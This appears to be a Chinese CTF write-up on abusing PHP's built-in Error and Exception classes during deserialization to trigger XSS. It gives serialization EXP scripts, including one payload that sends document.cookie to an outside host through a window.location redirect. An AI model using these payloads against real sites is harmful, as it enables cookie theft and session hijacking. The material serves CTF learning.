前言:

PHP原生类反序列化之前没遇到过,这次BJDCTF恰好碰到了,通过具体的题目来学习一下

利用魔法方法 __toString

Error----适用于php7版本----XSS

Error类就是php的一个内置类用于自动自定义一个Error,在php7的环境下可能会造成一个xss漏洞,因为它内置有一个toString的方法。

测试代码

<?php
$a = unserialize($_GET['lemon']);
echo $a;

EXP

<?php
$a = new Error("<script>alert(1)</script>");
echo urlencode(serialize($a));
#注意版本是PHP7

Exception----适用于php5、7版本----XSS

测试代码(这里直接使用赛题的环境)

<?php
$a = unserialize($_GET['lemon']);
echo $a;

EXP

<?php
$a = new Exception("<script>alert(/lemon/)</script>");
echo urlencode(serialize($a));


这里也记录下一些XSS的知识

#实现恶意跳转
<script>window.location.href="http://www.baidu.com";</script>

xss之光


开始用目录扫描器扫一下,发现是git泄露,下载下来,发现index.php文件

随便序列化一个传入试试,能输出

而且这和之前遇到过的反序列化问题就很不一样了,没有一个类,所以只能找到php内置类来进行反序列化,抓包发现版本是PHP5,使用PHP5内置Exception类进行反序列化

<?php
$a = new Exception("<script>window.location.href='http://8ff615f3-da70-4d1a-959f-f29d817ecd90.node3.buuoj.cn'+document.cookie</script>");
echo urlencode(serialize($a));


flag就在COOKIE中

总结:

当遇到反序列化问题的时,代码中一个类都没有,便对原生类进行反序列化。

未完待续,待之后发现有新的再来补充。。。

参考博客

https://www.gem-love.com/ctf/2097.html#XSS

http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/

https://www.cnblogs.com/iamstudy/articles/unserialize_in_php_inner_class.html

PHP原生类反序列化相关推荐

  1. php原生类,反序列化之PHP原生类的利用

    正文 文章围绕着一个问题,如果在代码审计中有反序列化点,但是在原本的代码中找不到pop链该如何? N1CTF有一个无pop链的反序列化的题目,其中就是找到php内置类来进行反序列化. 基础知识 首先还 ...

  2. PHP反序列化原生类利用

    前言 之前对反序列化原生类进行过总结,但可能总结的方面不同,在ctf用到的很少,所以这里在对ctf常用原生类进行一次总结. 原生类 php中内置很多原生的类,在CTF中常以echo new $a($b ...

  3. 怎么访问原生php类,关于如何利用php的原生类进行XSS

    在CTF中,这一类型的题目一般会在代码中给出反序列化点,但是却找不到pop链,类似于[BJDCTF 2nd]xss之光这一题,通过GitHack下载代码后,发现如下: 我们可以看到题目代码给出了反序列 ...

  4. SoapClient原生类在开发以及安全中利用

    原创稿件征集 邮箱:edu@antvsion.com QQ:3200599554 黑客与极客相关,互联网安全领域里的热点话题漏洞.技术相关的调查或分析,稿件通过并发布还能收获200-800元不等的稿酬 ...

  5. 数组属于一种原生类_前端程序员面试你应该懂的原生JS——1

    本文梳理出了一些面试中有一定难度的高频原生JS问题,部分知识点可能你之前从未关注过,或者看到了,却没有仔细研究,但是它们却非常重要. 1. 原始类型有哪几种?null 是对象吗?原始数据类型和复杂数据 ...

  6. java什么是原生类_Java 基础 - 原生类型

    更详细的说明,请参考: Java 原生类型与包装器类型深度剖析,https://blog.csdn.net/justloveyou_/article/details/52651211 一. 原生类型与 ...

  7. javascript 原生类 DOMParser 把 字符串格式的HTML文档源码 转换成 document DOM对象

    文章目录 Intro QA DOMParser 在 console 的使用 cheerio 在 node 项目中的使用 Reference 测试 sum Intro 有一天我在写爬虫. 其实也说不上是 ...

  8. 数组属于一种原生类_这种材质属于国标红木的红酸枝木类,很有潜在的一种材质...

    这种材质属于国标红木的红酸枝木类,很有潜质的一种木材,这种材质曾经以很像黄花梨的颜色而一直被关注,但是发现这种材质的有些纹理,比黄花梨的还要漂亮,这种材质就是白酸枝,学名奥氏黄檀. 说起这种材质,其实 ...

  9. 数组属于一种原生类吗_瘢痕有很多种类型,你的瘢痕到底属于哪一种你知道吗?...

    济南童康儿童医院专家指出:今天,我想与大家分享疤痕的分类.我希望您可以通过了解相关知识来澄清疤痕的分类和某些特征.疤痕大致可分为五种:增生性疤痕,萎缩性疤痕,挛缩性疤痕,肥厚性疤痕和瘢痕疙瘩.让我为您 ...

最新文章

  1. android固定位置滚动文本,android – 滚动文本上方的按钮,按钮固定在底部
  2. 中国电子信息工程科技发展十四大趋势(2021)
  3. 如何创建文件并用Java写入文件?
  4. set集合python_python基础-set集合
  5. P4735-最大异或和【可持久化Trie】
  6. vue better-scroll 使用 下拉刷新、上拉加载
  7. wangmarket-master
  8. devexpress 创建窗口句柄时出错_实验一 线程的创建和撤销
  9. 那年学过的Java笔记一SE基础
  10. 突发!迈克菲掌门人 John McAfee 在西班牙监狱自缢身亡
  11. 中国知网 博硕士论文 PDF下载 及书签自动生成
  12. python绘制箱线图-python绘制箱线图
  13. quartz 定时任务调度框架demo
  14. Chat Top10 | 实战:参考牛顿冷却定律优化最热问题的排序
  15. 发起AI联盟,天猫精灵CES布局智能家居市场
  16. 最详细的Keycloak教程:Keycloak实现手机号、验证码登陆——(一)Keycloak的下载与使用
  17. 吉林大学计算机技术(电子信息)专业(专硕)解读
  18. ANSYS中Beam188\Beam189单元命令流提取最大应力
  19. AM335x SPL
  20. BIN,S19,M0T,SREC,HEX文件解析;FileParse(二)之源码解析

热门文章

  1. 不同程序用不同网络_微信小程序直播登场,与平台直播有何不同?
  2. java web netty_基于Netty的非Servlet规范 JavaWeb框架及高性能 Java服务器
  3. 五、Hive数据类型和简单使用
  4. 八十六、从拓扑排序探究有向图
  5. 七十六、 数据结构二叉树及其代码实现
  6. python与 积分
  7. 博士申请 | 香港理工大学滕龙老师课题组招收机器人方向博士生/研究助理
  8. ACL 2021 | 北京大学KCL实验室:如何利用双语词典增强机器翻译?
  9. 4个Keynote、12篇论文分享、40个Poster,CVPR 2021论文分享会全日程公布
  10. “玩转标签,发现层次的力量!”:跨模态哈希方法研究